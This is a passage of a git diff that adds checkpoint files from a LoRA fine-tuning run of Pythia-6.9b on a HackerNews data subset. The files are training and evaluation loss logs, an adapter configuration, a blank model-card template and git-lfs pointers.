43.8115, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.3801650404930115, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4972, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.5399742126464844, + "eval_runtime": 43.8681, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.849, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.3593173325061798, + "learning_rate": 7.525925925925926e-05, + "loss": 2.4633, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.535550832748413, + "eval_runtime": 43.7847, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.37406498193740845, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4329, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.533135175704956, + "eval_runtime": 43.9186, + "eval_samples_per_second": 22.769, + "eval_steps_per_second": 2.846, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.3373793661594391, + "learning_rate": 7.28888888888889e-05, + "loss": 2.5159, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.5308544635772705, + "eval_runtime": 43.8596, + "eval_samples_per_second": 22.8, + "eval_steps_per_second": 2.85, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.3410486876964569, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4616, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.528620958328247, + "eval_runtime": 43.7873, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3606584966182709, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4756, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.526639699935913, + "eval_runtime": 43.8095, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4812467098236084, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3706, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.5288808345794678, + "eval_runtime": 43.7806, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.5975897312164307, + "learning_rate": 6.814814814814815e-05, + "loss": 2.4033, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.532658576965332, + "eval_runtime": 43.7811, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.629486620426178, + "learning_rate": 6.696296296296296e-05, + "loss": 2.4018, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.533242702484131, + "eval_runtime": 43.7907, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.818680465221405, + "learning_rate": 6.577777777777777e-05, + "loss": 2.4227, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.5338823795318604, + "eval_runtime": 43.7818, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.8839734196662903, + "learning_rate": 6.45925925925926e-05, + "loss": 2.4284, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.534684658050537, + "eval_runtime": 43.7829, + "eval_samples_per_second": 22.84, + "eval_steps_per_second": 2.855, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.7506110072135925, + "learning_rate": 6.340740740740741e-05, + "loss": 2.4042, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.5374648571014404, + "eval_runtime": 43.7868, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.790181040763855, + "learning_rate": 6.222222222222223e-05, + "loss": 2.4382, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.5376830101013184, + "eval_runtime": 43.776, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.855, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8619416952133179, + "learning_rate": 6.103703703703704e-05, + "loss": 2.2852, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.557069778442383, + "eval_runtime": 43.8054, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.854, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.1197975873947144, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.266, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.578442096710205, + "eval_runtime": 43.8144, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.2004913091659546, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.3007, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.582598924636841, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.2376835346221924, + "learning_rate": 5.748148148148149e-05, + "loss": 2.276, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.586012840270996, + "eval_runtime": 43.82, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.3492048978805542, + "learning_rate": 5.62962962962963e-05, + "loss": 2.2448, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.587860345840454, + "eval_runtime": 43.834, + "eval_samples_per_second": 22.813, + "eval_steps_per_second": 2.852, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.3619085550308228, + "learning_rate": 5.511111111111112e-05, + "loss": 2.2909, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5878307819366455, + "eval_runtime": 43.8203, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.853, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4916982650756836, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2501, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.589785575866699, + "eval_runtime": 43.79, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.855, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.5191502571105957, + "learning_rate": 5.274074074074074e-05, + "loss": 2.2045, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.606522798538208, + "eval_runtime": 43.7878, + "eval_samples_per_second": 22.837, + "eval_steps_per_second": 2.855, + "step": 230 + }, + { + "epoch": 3.2, + "grad_norm": 1.8370033502578735, + "learning_rate": 5.155555555555556e-05, + "loss": 2.1299, + "step": 240 + }, + { + "epoch": 3.2, + "eval_loss": 2.6736056804656982, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 240 + }, + { + "epoch": 3.3333333333333335, + "grad_norm": 1.8626277446746826, + "learning_rate": 5.037037037037037e-05, + "loss": 2.0745, + "step": 250 + }, + { + "epoch": 3.3333333333333335, + "eval_loss": 2.6694393157958984, + "eval_runtime": 43.7698, + "eval_samples_per_second": 22.847, + "eval_steps_per_second": 2.856, + "step": 250 + }, + { + "epoch": 3.466666666666667, + "grad_norm": 1.9536994695663452, + "learning_rate": 4.918518518518519e-05, + "loss": 2.1134, + "step": 260 + }, + { + "epoch": 3.466666666666667, + "eval_loss": 2.6763100624084473, + "eval_runtime": 43.7663, + "eval_samples_per_second": 22.849, + "eval_steps_per_second": 2.856, + "step": 260 + }, + { + "epoch": 3.6, + "grad_norm": 1.7951068878173828, + "learning_rate": 4.8e-05, + "loss": 2.0425, + "step": 270 + }, + { + "epoch": 3.6, + "eval_loss": 2.6728081703186035, + "eval_runtime": 43.7651, + "eval_samples_per_second": 22.849, + "eval_steps_per_second": 2.856, + "step": 270 + }, + { + "epoch": 3.7333333333333334, + "grad_norm": 1.907662272453308, + "learning_rate": 4.681481481481481e-05, + "loss": 2.0904, + "step": 280 + }, + { + "epoch": 3.7333333333333334, + "eval_loss": 2.6812336444854736, + "eval_runtime": 43.8021, + "eval_samples_per_second": 22.83, + "eval_steps_per_second": 2.854, + "step": 280 + }, + { + "epoch": 3.8666666666666667, + "grad_norm": 1.9190585613250732, + "learning_rate": 4.5629629629629636e-05, + "loss": 2.1202, + "step": 290 + }, + { + "epoch": 3.8666666666666667, + "eval_loss": 2.6716649532318115, + "eval_runtime": 43.7878, + "eval_samples_per_second": 22.837, + "eval_steps_per_second": 2.855, + "step": 290 + }, + { + "epoch": 4.0, + "grad_norm": 2.1457583904266357, + "learning_rate": 4.444444444444445e-05, + "loss": 2.1332, + "step": 300 + }, + { + "epoch": 4.0, + "eval_loss": 2.677353620529175, + "eval_runtime": 43.7789, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 300 + }, + { + "epoch": 4.133333333333334, + "grad_norm": 2.461280345916748, + "learning_rate": 4.3259259259259264e-05, + "loss": 1.9693, + "step": 310 + }, + { + "epoch": 4.133333333333334, + "eval_loss": 2.7750632762908936, + "eval_runtime": 43.8409, + "eval_samples_per_second": 22.81, + "eval_steps_per_second": 2.851, + "step": 310 + }, + { + "epoch": 4.266666666666667, + "grad_norm": 2.8510210514068604, + "learning_rate": 4.2074074074074075e-05, + "loss": 1.9194, + "step": 320 + }, + { + "epoch": 4.266666666666667, + "eval_loss": 2.771688938140869, + "eval_runtime": 43.8403, + "eval_samples_per_second": 22.81, + "eval_steps_per_second": 2.851, + "step": 320 + }, + { + "epoch": 4.4, + "grad_norm": 2.5339622497558594, + "learning_rate": 4.088888888888889e-05, + "loss": 1.9162, + "step": 330 + }, + { + "epoch": 4.4, + "eval_loss": 2.7754197120666504, + "eval_runtime": 43.8148, + "eval_samples_per_second": 22.823, + "eval_steps_per_second": 2.853, + "step": 330 + }, + { + "epoch": 4.533333333333333, + "grad_norm": 2.622448444366455, + "learning_rate": 3.970370370370371e-05, + "loss": 1.9598, + "step": 340 + }, + { + "epoch": 4.533333333333333, + "eval_loss": 2.771843671798706, + "eval_runtime": 43.8243, + "eval_samples_per_second": 22.818, + "eval_steps_per_second": 2.852, + "step": 340 + }, + { + "epoch": 4.666666666666667, + "grad_norm": 2.728793144226074, + "learning_rate": 3.851851851851852e-05, + "loss": 1.9611, + "step": 350 + }, + { + "epoch": 4.666666666666667, + "eval_loss": 2.7712514400482178, + "eval_runtime": 43.8133, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 350 + }, + { + "epoch": 4.8, + "grad_norm": 2.583333969116211, + "learning_rate": 3.733333333333334e-05, + "loss": 1.9595, + "step": 360 + }, + { + "epoch": 4.8, + "eval_loss": 2.7676312923431396, + "eval_runtime": 43.8113, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 360 + }, + { + "epoch": 4.933333333333334, + "grad_norm": 2.4886419773101807, + "learning_rate": 3.614814814814815e-05, + "loss": 1.9681, + "step": 370 + }, + { + "epoch": 4.933333333333334, + "eval_loss": 2.763570547103882, + "eval_runtime": 43.8166, + "eval_samples_per_second": 22.822, + "eval_steps_per_second": 2.853, + "step": 370 + }, + { + "epoch": 5.066666666666666, + "grad_norm": 2.656954526901245, + "learning_rate": 3.4962962962962965e-05, + "loss": 1.864, + "step": 380 + }, + { + "epoch": 5.066666666666666, + "eval_loss": 2.811014175415039, + "eval_runtime": 43.831, + "eval_samples_per_second": 22.815, + "eval_steps_per_second": 2.852, + "step": 380 + }, + { + "epoch": 5.2, + "grad_norm": 3.2936909198760986, + "learning_rate": 3.377777777777778e-05, + "loss": 1.8078, + "step": 390 + }, + { + "epoch": 5.2, + "eval_loss": 2.8777899742126465, + "eval_runtime": 43.8033, + "eval_samples_per_second": 22.829, + "eval_steps_per_second": 2.854, + "step": 390 + }, + { + "epoch": 5.333333333333333, + "grad_norm": 3.134007692337036, + "learning_rate": 3.259259259259259e-05, + "loss": 1.8207, + "step": 400 + }, + { + "epoch": 5.333333333333333, + "eval_loss": 2.8566880226135254, + "eval_runtime": 43.8138, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 400 + }, + { + "epoch": 5.466666666666667, + "grad_norm": 3.0055992603302, + "learning_rate": 3.140740740740741e-05, + "loss": 1.8202, + "step": 410 + }, + { + "epoch": 5.466666666666667, + "eval_loss": 2.8746020793914795, + "eval_runtime": 43.821, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.853, + "step": 410 + }, + { + "epoch": 5.6, + "grad_norm": 3.008761405944824, + "learning_rate": 3.0222222222222225e-05, + "loss": 1.854, + "step": 420 + }, + { + "epoch": 5.6, + "eval_loss": 2.856834888458252, + "eval_runtime": 43.8079, + "eval_samples_per_second": 22.827, + "eval_steps_per_second": 2.853, + "step": 420 + }, + { + "epoch": 5.733333333333333, + "grad_norm": 3.0921030044555664, + "learning_rate": 2.9037037037037042e-05, + "loss": 1.8381, + "step": 430 + }, + { + "epoch": 5.733333333333333, + "eval_loss": 2.8608105182647705, + "eval_runtime": 43.8102, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 430 + }, + { + "epoch": 5.866666666666667, + "grad_norm": 3.2031877040863037, + "learning_rate": 2.7851851851851856e-05, + "loss": 1.8526, + "step": 440 + }, + { + "epoch": 5.866666666666667, + "eval_loss": 2.8591396808624268, + "eval_runtime": 43.8197, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 440 + }, + { + "epoch": 6.0, + "grad_norm": 3.2067291736602783, + "learning_rate": 2.6666666666666667e-05, + "loss": 1.8094, + "step": 450 + }, + { + "epoch": 6.0, + "eval_loss": 2.8479180335998535, + "eval_runtime": 43.8043, + "eval_samples_per_second": 22.829, + "eval_steps_per_second": 2.854, + "step": 450 + }, + { + "epoch": 6.133333333333334, + "grad_norm": 3.353001117706299, + "learning_rate": 2.5481481481481484e-05, + "loss": 1.685, + "step": 460 + }, + { + "epoch": 6.133333333333334, + "eval_loss": 2.942011833190918, + "eval_runtime": 43.8062, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.853, + "step": 460 + }, + { + "epoch": 6.266666666666667, + "grad_norm": 3.2993152141571045, + "learning_rate": 2.4296296296296298e-05, + "loss": 1.7213, + "step": 470 + }, + { + "epoch": 6.266666666666667, + "eval_loss": 2.9439539909362793, + "eval_runtime": 43.8327, + "eval_samples_per_second": 22.814, + "eval_steps_per_second": 2.852, + "step": 470 + }, + { + "epoch": 6.4, + "grad_norm": 3.5732359886169434, + "learning_rate": 2.3111111111111112e-05, + "loss": 1.7484, + "step": 480 + }, + { + "epoch": 6.4, + "eval_loss": 2.9356353282928467, + "eval_runtime": 43.7981, + "eval_samples_per_second": 22.832, + "eval_steps_per_second": 2.854, + "step": 480 + }, + { + "epoch": 6.533333333333333, + "grad_norm": 5.271646976470947, + "learning_rate": 2.192592592592593e-05, + "loss": 1.7342, + "step": 490 + }, + { + "epoch": 6.533333333333333, + "eval_loss": 2.955838441848755, + "eval_runtime": 43.8068, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.853, + "step": 490 + }, + { + "epoch": 6.666666666666667, + "grad_norm": 5.032471656799316, + "learning_rate": 2.074074074074074e-05, + "loss": 1.7208, + "step": 500 + }, + { + "epoch": 6.666666666666667, + "eval_loss": 2.931419849395752, + "eval_runtime": 43.8221, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.852, + "step": 500 + }, + { + "epoch": 6.8, + "grad_norm": 3.4340333938598633, + "learning_rate": 1.9555555555555557e-05, + "loss": 1.7117, + "step": 510 + }, + { + "epoch": 6.8, + "eval_loss": 2.938490629196167, + "eval_runtime": 43.8201, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 510 + }, + { + "epoch": 6.933333333333334, + "grad_norm": 3.5259785652160645, + "learning_rate": 1.837037037037037e-05, + "loss": 1.7309, + "step": 520 + }, + { + "epoch": 6.933333333333334, + "eval_loss": 2.941317319869995, + "eval_runtime": 43.8308, + "eval_samples_per_second": 22.815, + "eval_steps_per_second": 2.852, + "step": 520 + }, + { + "epoch": 7.066666666666666, + "grad_norm": 3.4281272888183594, + "learning_rate": 1.7185185185185185e-05, + "loss": 1.6833, + "step": 530 + }, + { + "epoch": 7.066666666666666, + "eval_loss": 2.9625537395477295, + "eval_runtime": 43.8337, + "eval_samples_per_second": 22.814, + "eval_steps_per_second": 2.852, + "step": 530 + }, + { + "epoch": 7.2, + "grad_norm": 3.9920337200164795, + "learning_rate": 1.6000000000000003e-05, + "loss": 1.6104, + "step": 540 + }, + { + "epoch": 7.2, + "eval_loss": 3.0229849815368652, + "eval_runtime": 43.8532, + "eval_samples_per_second": 22.803, + "eval_steps_per_second": 2.85, + "step": 540 + }, + { + "epoch": 7.333333333333333, + "grad_norm": 3.6704397201538086, + "learning_rate": 1.4814814814814815e-05, + "loss": 1.6429, + "step": 550 + }, + { + "epoch": 7.333333333333333, + "eval_loss": 3.0016684532165527, + "eval_runtime": 43.8408, + "eval_samples_per_second": 22.81, + "eval_steps_per_second": 2.851, + "step": 550 + }, + { + "epoch": 7.466666666666667, + "grad_norm": 4.2405171394348145, + "learning_rate": 1.362962962962963e-05, + "loss": 1.6654, + "step": 560 + }, + { + "epoch": 7.466666666666667, + "eval_loss": 3.0022153854370117, + "eval_runtime": 43.8437, + "eval_samples_per_second": 22.808, + "eval_steps_per_second": 2.851, + "step": 560 + }, + { + "epoch": 7.6, + "grad_norm": 4.28582763671875, + "learning_rate": 1.2444444444444446e-05, + "loss": 1.6451, + "step": 570 + }, + { + "epoch": 7.6, + "eval_loss": 3.00771164894104, + "eval_runtime": 43.837, + "eval_samples_per_second": 22.812, + "eval_steps_per_second": 2.851, + "step": 570 + }, + { + "epoch": 7.733333333333333, + "grad_norm": 3.8415298461914062, + "learning_rate": 1.125925925925926e-05, + "loss": 1.6865, + "step": 580 + }, + { + "epoch": 7.733333333333333, + "eval_loss": 3.0041346549987793, + "eval_runtime": 43.8069, + "eval_samples_per_second": 22.827, + "eval_steps_per_second": 2.853, + "step": 580 + }, + { + "epoch": 7.866666666666667, + "grad_norm": 4.042088508605957, + "learning_rate": 1.0074074074074074e-05, + "loss": 1.5963, + "step": 590 + }, + { + "epoch": 7.866666666666667, + "eval_loss": 3.0001718997955322, + "eval_runtime": 43.8148, + "eval_samples_per_second": 22.823, + "eval_steps_per_second": 2.853, + "step": 590 + }, + { + "epoch": 8.0, + "grad_norm": 3.8128297328948975, + "learning_rate": 8.888888888888888e-06, + "loss": 1.6552, + "step": 600 + }, + { + "epoch": 8.0, + "eval_loss": 2.9951343536376953, + "eval_runtime": 43.8095, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 600 + }, + { + "epoch": 8.133333333333333, + "grad_norm": 4.028591156005859, + "learning_rate": 7.703703703703704e-06, + "loss": 1.5764, + "step": 610 + }, + { + "epoch": 8.133333333333333, + "eval_loss": 3.0296239852905273, + "eval_runtime": 43.8141, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 610 + }, + { + "epoch": 8.266666666666667, + "grad_norm": 4.286259651184082, + "learning_rate": 6.51851851851852e-06, + "loss": 1.589, + "step": 620 + }, + { + "epoch": 8.266666666666667, + "eval_loss": 3.055720806121826, + "eval_runtime": 43.803, + "eval_samples_per_second": 22.829, + "eval_steps_per_second": 2.854, + "step": 620 + }, + { + "epoch": 8.4, + "grad_norm": 3.8886613845825195, + "learning_rate": 5.333333333333334e-06, + "loss": 1.5475, + "step": 630 + }, + { + "epoch": 8.4, + "eval_loss": 3.0486762523651123, + "eval_runtime": 43.7998, + "eval_samples_per_second": 22.831, + "eval_steps_per_second": 2.854, + "step": 630 + }, + { + "epoch": 8.533333333333333, + "grad_norm": 4.028053283691406, + "learning_rate": 4.1481481481481485e-06, + "loss": 1.5562, + "step": 640 + }, + { + "epoch": 8.533333333333333, + "eval_loss": 3.0449891090393066, + "eval_runtime": 43.7929, + "eval_samples_per_second": 22.835, + "eval_steps_per_second": 2.854, + "step": 640 + }, + { + "epoch": 8.666666666666666, + "grad_norm": 3.9524431228637695, + "learning_rate": 2.962962962962963e-06, + "loss": 1.6302, + "step": 650 + }, + { + "epoch": 8.666666666666666, + "eval_loss": 3.04494047164917, + "eval_runtime": 43.8033, + "eval_samples_per_second": 22.829, + "eval_steps_per_second": 2.854, + "step": 650 + }, + { + "epoch": 8.8, + "grad_norm": 3.9773013591766357, + "learning_rate": 1.777777777777778e-06, + "loss": 1.6163, + "step": 660 + }, + { + "epoch": 8.8, + "eval_loss": 3.045328140258789, + "eval_runtime": 43.8177, + "eval_samples_per_second": 22.822, + "eval_steps_per_second": 2.853, + "step": 660 + }, + { + "epoch": 8.933333333333334, + "grad_norm": 3.6179540157318115, + "learning_rate": 5.925925925925927e-07, + "loss": 1.6073, + "step": 670 + }, + { + "epoch": 8.933333333333334, + "eval_loss": 3.0459864139556885, + "eval_runtime": 43.8134, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 670 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 1.097866823073792e+17, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-670/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-670/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..68b02330a1195a7529b7c5ac3d2074dca7a8843d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-670/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5276490505c682789e6f542349fd3b486cf3586ea6a988c79078113f82ac15c0 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-675/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-675/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-675/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-675/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-675/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-675/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-675/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-675/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..9db2bd971b43198c130e5d4250acec477670dbef --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-675/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:934924a2320fd9ac6c2292e64d29b49742d939d69eccbbbed1bba332977769cc +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-675/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-675/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..ec69e8e65b4deaabfa5ee403936893fdf7740e13 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-675/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:2def01897575252dbd9ccdc7e76384bff8755d5877339cb5ca1ac81e0d909785 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-675/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-675/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..bb61823d0d78956427b74dd1a3fc741ba1b2381f --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-675/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:c44717b587bf877ea1a37c7f5747a93e45e34ce231c845a31a9b8a042ee22593 +size 14575 diff --git 